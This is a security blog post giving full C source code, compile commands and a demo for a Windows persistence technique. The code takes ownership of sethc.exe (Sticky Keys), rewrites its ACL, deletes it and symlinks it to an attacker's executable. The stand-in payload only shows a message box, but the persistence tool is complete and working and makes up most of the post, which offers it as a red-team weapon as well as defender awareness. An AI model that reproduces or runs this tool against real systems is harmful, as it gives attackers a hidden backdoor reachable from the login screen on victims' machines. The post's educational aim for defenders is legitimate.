8 minute read

Hello, cybersecurity enthusiasts and white hackers!

pers

In the one of the previous posts I wrote about popular persistence tricks via Accessibility features, the APT groups like APT3, APT29 and APT41 exploited this feature for attacking PCs.

In this post, I simply show you the same trick with different logic: simply making symbolic link from legitimate app to malicious.

Well-known approach used by attackers to achieve persistence is to create symbolic links (symlinks) that replace or reroute Windows Accessibility capabilities. This method is more complex than just changing binaries since it includes building a symlink from a valid system file or feature to a malicious file. When the system or a user attempts to access the original file or functionality, they are unintentionally sent to a harmful file.

practical example

The logic would seem to be quite simple, something like this:

#include <windows.h>
#include <stdio.h>

int main() {
  // path to the legitimate binary (e.g., Sticky Keys)
  const char* legitApp = "C:\\Windows\\System32\\sethc.exe";
  // path to the malicious binary
  const char* meowApp = "Z:\\hack.exe";

  // delete the original file (requires administrative privileges)
  if (!DeleteFileA((LPCSTR)legitApp)) {
    printf("error deleting original file: %d\n", GetLastError());
    return 1;
  }
  printf("original file deleted successfully\n");
  CloseHandle(hFile);

  // create the symbolic link
  if (!CreateSymbolicLinkA((LPCSTR)legitApp, (LPCSTR)meowApp, 0)) {
    printf("error creating symlink: %d\n", GetLastError());
    return 1;
  }
  printf("symlink to meow created successfully =^..^=\n");
  return 0;
}

but in reality everything is a little more complicated.

Let’s say we have a “malware”:

/*
* hack.c
* "malware" for symlink
* persistence trick
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/08/malware-pers-25.html
*/
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
  return 0;
}

And I want to create symbolic link, target legit app is:

const char* legitApp = "C:\\Windows\\System32\\sethc.exe";

First of all, we need permissions:

SE_TAKE_OWNERSHIP_NAME
SE_DEBUG_NAME
SE_RESTORE_NAME
SE_BACKUP_NAME

For this just use setPrivilege function:

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
  HANDLE token;
  TOKEN_PRIVILEGES tp;
  LUID luid;
  BOOL res = TRUE;

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
  if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
  printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
  return res;
}

As you can see, this function is used to enable a specified privilege for the current process.

Then, opens the legitimate binary with the required access rights (WRITE_OWNER and WRITE_DAC):

HANDLE hFile = CreateFileA((LPCSTR)legitApp, WRITE_OWNER | WRITE_DAC, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

Then get token information:

// obtain the SID for the current user
HANDLE hToken;
DWORD dwSize = 0;
PTOKEN_USER pTokenUser = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
  printf("Failed to open process token: %d\n", GetLastError());
  CloseHandle(hFile);
  return 1;
}
printf("open process token: ok\n");

// get the required size for the token information
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (pTokenUser == NULL) {
  printf("failed to allocate memory for token information\n");
  CloseHandle(hToken);
  CloseHandle(hFile);
  return 1;
}
printf("allocate memory token info: ok\n");

// get the token information
if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
  printf("failed to get token information: %d\n", GetLastError());
  free(pTokenUser);
  CloseHandle(hToken);
  CloseHandle(hFile);
  return 1;
}
printf("get token info: ok\n");

At the next step we need to change legitimate binary’s ownership to current user:

// initialize a security descriptor
SECURITY_DESCRIPTOR sd;
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) {
  printf("failed to initialize security descriptor: %d\n", GetLastError());
  free(pTokenUser);
  CloseHandle(hToken);
  CloseHandle(hFile);
  return 1;
}
printf("init security descriptor: ok\n");

// set the owner in the security descriptor
if (!SetSecurityDescriptorOwner(&sd, pTokenUser->User.Sid, FALSE)) {
  printf("failed to set security descriptor owner: %d\n", GetLastError());
  free(pTokenUser);
  CloseHandle(hToken);
  CloseHandle(hFile);
  return 1;
}
printf("setting security descriptor owner: ok\n");

// apply the security descriptor to the file
if (!SetFileSecurityA(legitApp, OWNER_SECURITY_INFORMATION, &sd)) {
  printf("error setting file ownership: %d\n", GetLastError());
  free(pTokenUser);
  CloseHandle(hToken);
  CloseHandle(hFile);
  return 1;
}
printf("setting file ownership: ok\n");

InitializeSecurityDescriptor - init a new security descriptor.
SetSecurityDescriptorOwner - sets the owner in the security descriptor to the current user’s SID.
SetFileSecurityA - applies the security descriptor to the legitimate binary to change its ownership.

Then, applies the new ACL to the file:

// set full control for the current user
EXPLICIT_ACCESS ea;
PACL pNewAcl = NULL;

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = GENERIC_ALL;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = (LPSTR)pTokenUser->User.Sid;

if (SetEntriesInAcl(1, &ea, NULL, &pNewAcl) != ERROR_SUCCESS) {
  printf("error setting new ACL: %d\n", GetLastError());
  free(pTokenUser);
  CloseHandle(hToken);
  CloseHandle(hFile);
  return 1;
}
printf("setting new ACL: ok\n");

if (SetSecurityInfo(hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewAcl, NULL) != ERROR_SUCCESS) {
  printf("error setting security info: %d\n", GetLastError());
  free(pTokenUser);
  CloseHandle(hToken);
  CloseHandle(hFile);
  LocalFree(pNewAcl);
  return 1;
}
printf("setting security info: ok\n");

free(pTokenUser);
CloseHandle(hToken);
LocalFree(pNewAcl);

Finally, delete original file and set symlink:

// delete the original file (requires administrative privileges)
if (!DeleteFileA((LPCSTR)legitApp)) {
  printf("error deleting original file: %d\n", GetLastError());
  return 1;
}
printf("original file deleted successfully\n");
CloseHandle(hFile);

HMODULE kernel = GetModuleHandle("kernel32.dll");
pCreateSymbolicLinkA = (BOOLEAN(WINAPI *)(LPCSTR, LPCSTR, DWORD))GetProcAddress(kernel, (LPCSTR)"CreateSymbolicLinkA");

// create the symbolic link
if (!pCreateSymbolicLinkA((LPCSTR)legitApp, (LPCSTR)meowApp, 0)) {
  printf("error creating symlink: %d\n", GetLastError());
  return 1;
}

printf("symlink to meow created successfully =^..^=\n");
return 0;

As you can see, this is more complicated: this PoC demonstrates how to set privileges, change file ownership, set ACLs, delete a file, and create a symbolic link using the Windows API.

If you try immediately delete the original file from system32 folder, you receive an error: access denied.

Also, if obtaining the SID for the current user and setting it are incorrect you got an error like error 1337 invalid owner or something similar.

Final source code is looks like this pers.c:

/*
* pers.c
* symlink persistence trick
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/08/malware-pers-25.html
*/
#include <windows.h>
#include <stdio.h>
#include <aclapi.h> // for OWNER_SECURITY_INFORMATION
#include <sddl.h> // for ConvertStringSidToSid ???

BOOLEAN (WINAPI * pCreateSymbolicLinkA)(
  LPCSTR lpSymlinkFileName,
  LPCSTR lpTargetFileName,
  DWORD  dwFlags
);

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
  HANDLE token;
  TOKEN_PRIVILEGES tp;
  LUID luid;
  BOOL res = TRUE;

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
  if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
  printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
  return res;
}

int main() {
  // path to the legitimate binary (e.g., Sticky Keys)
  const char* legitApp = "C:\\Windows\\System32\\sethc.exe";
  // path to the malicious binary
  const char* meowApp = "Z:\\hack.exe";

  if (!setPrivilege(SE_TAKE_OWNERSHIP_NAME)) return -1;
  if (!setPrivilege(SE_DEBUG_NAME)) return -1;
  if (!setPrivilege(SE_RESTORE_NAME)) return -1;
  if (!setPrivilege(SE_BACKUP_NAME)) return -1;

  HANDLE hFile = CreateFileA((LPCSTR)legitApp, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

  // obtain the SID for the current user
  HANDLE hToken;
  DWORD dwSize = 0;
  PTOKEN_USER pTokenUser = NULL;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
    printf("Failed to open process token: %d\n", GetLastError());
    CloseHandle(hFile);
    return 1;
  }
  printf("open process token: ok\n");

  // get the required size for the token information
  GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
  pTokenUser = (PTOKEN_USER)malloc(dwSize);
  if (pTokenUser == NULL) {
    printf("failed to allocate memory for token information\n");
    CloseHandle(hToken);
    CloseHandle(hFile);
    return 1;
  }
  printf("allocate memory token info: ok\n");

  // get the token information
  if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
    printf("failed to get token information: %d\n", GetLastError());
    free(pTokenUser);
    CloseHandle(hToken);
    CloseHandle(hFile);
    return 1;
  }
  printf("get token info: ok\n");

  // initialize a security descriptor
  SECURITY_DESCRIPTOR sd;
  if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) {
    printf("failed to initialize security descriptor: %d\n", GetLastError());
    free(pTokenUser);
    CloseHandle(hToken);
    CloseHandle(hFile);
    return 1;
  }
  printf("init security descriptor: ok\n");

  // set the owner in the security descriptor
  if (!SetSecurityDescriptorOwner(&sd, pTokenUser->User.Sid, FALSE)) {
    printf("failed to set security descriptor owner: %d\n", GetLastError());
    free(pTokenUser);
    CloseHandle(hToken);
    CloseHandle(hFile);
    return 1;
  }
  printf("setting security descriptor owner: ok\n");

  // apply the security descriptor to the file
  if (!SetFileSecurityA(legitApp, OWNER_SECURITY_INFORMATION, &sd)) {
    printf("error setting file ownership: %d\n", GetLastError());
    free(pTokenUser);
    CloseHandle(hToken);
    CloseHandle(hFile);
    return 1;
  }
  printf("setting file ownership: ok\n");

  // set full control for the current user
  EXPLICIT_ACCESS ea;
  PACL pNewAcl = NULL;

  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions = GENERIC_ALL;
  ea.grfAccessMode = SET_ACCESS;
  ea.grfInheritance = NO_INHERITANCE;
  ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
  ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
  ea.Trustee.ptstrName = (LPSTR)pTokenUser->User.Sid;

  if (SetEntriesInAcl(1, &ea, NULL, &pNewAcl) != ERROR_SUCCESS) {
    printf("error setting new ACL: %d\n", GetLastError());
    free(pTokenUser);
    CloseHandle(hToken);
    CloseHandle(hFile);
    return 1;
  }
  printf("setting new ACL: ok\n");

  if (SetSecurityInfo(hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewAcl, NULL) != ERROR_SUCCESS) {
    printf("error setting security info: %d\n", GetLastError());
    free(pTokenUser);
    CloseHandle(hToken);
    CloseHandle(hFile);
    LocalFree(pNewAcl);
    return 1;
  }
  printf("setting security info: ok\n");

  free(pTokenUser);
  CloseHandle(hToken);
  LocalFree(pNewAcl);

  // delete the original file (requires administrative privileges)
  if (!DeleteFileA((LPCSTR)legitApp)) {
    printf("error deleting original file: %d\n", GetLastError());
    return 1;
  }
  printf("original file deleted successfully\n");
  CloseHandle(hFile);

  HMODULE kernel = GetModuleHandle("kernel32.dll");
  pCreateSymbolicLinkA = (BOOLEAN(WINAPI *)(LPCSTR, LPCSTR, DWORD))GetProcAddress(kernel, (LPCSTR)"CreateSymbolicLinkA");

  // create the symbolic link
  if (!pCreateSymbolicLinkA((LPCSTR)legitApp, (LPCSTR)meowApp, 0)) {
    printf("error creating symlink: %d\n", GetLastError());
    return 1;
  }

  printf("symlink to meow created successfully =^..^=\n");
  return 0;
}

Note, that this PoC includes necessary headers for Windows API functions, file security, and SID (Security Identifier) manipulation, and have a function pointer to the CreateSymbolicLinkA function, which is used to create symbolic links (my mingw didn’t want to compile without errors)

demo

Let’s check everything in action.

Compile our meow-meow “malware” hack.c:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

malware

And compile persistence script:

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

malware

Then, run it on test victim’s machine (Windows 11 x64):

.\pers.exe

malware

As you can see, symlink successfully created.

Finally, pressing Shift key 5 times:

malware

Note to the properties of the hack.exe:

malware

As you can see, everything worked as expected. Perfect! =^..^=

So this PoC is how an attacker might create a symlink to redirect an Accessibility feature to a malicious executable.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

CreateSymbolicLinkA
Malware persistence - part 12. Accessibility features
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine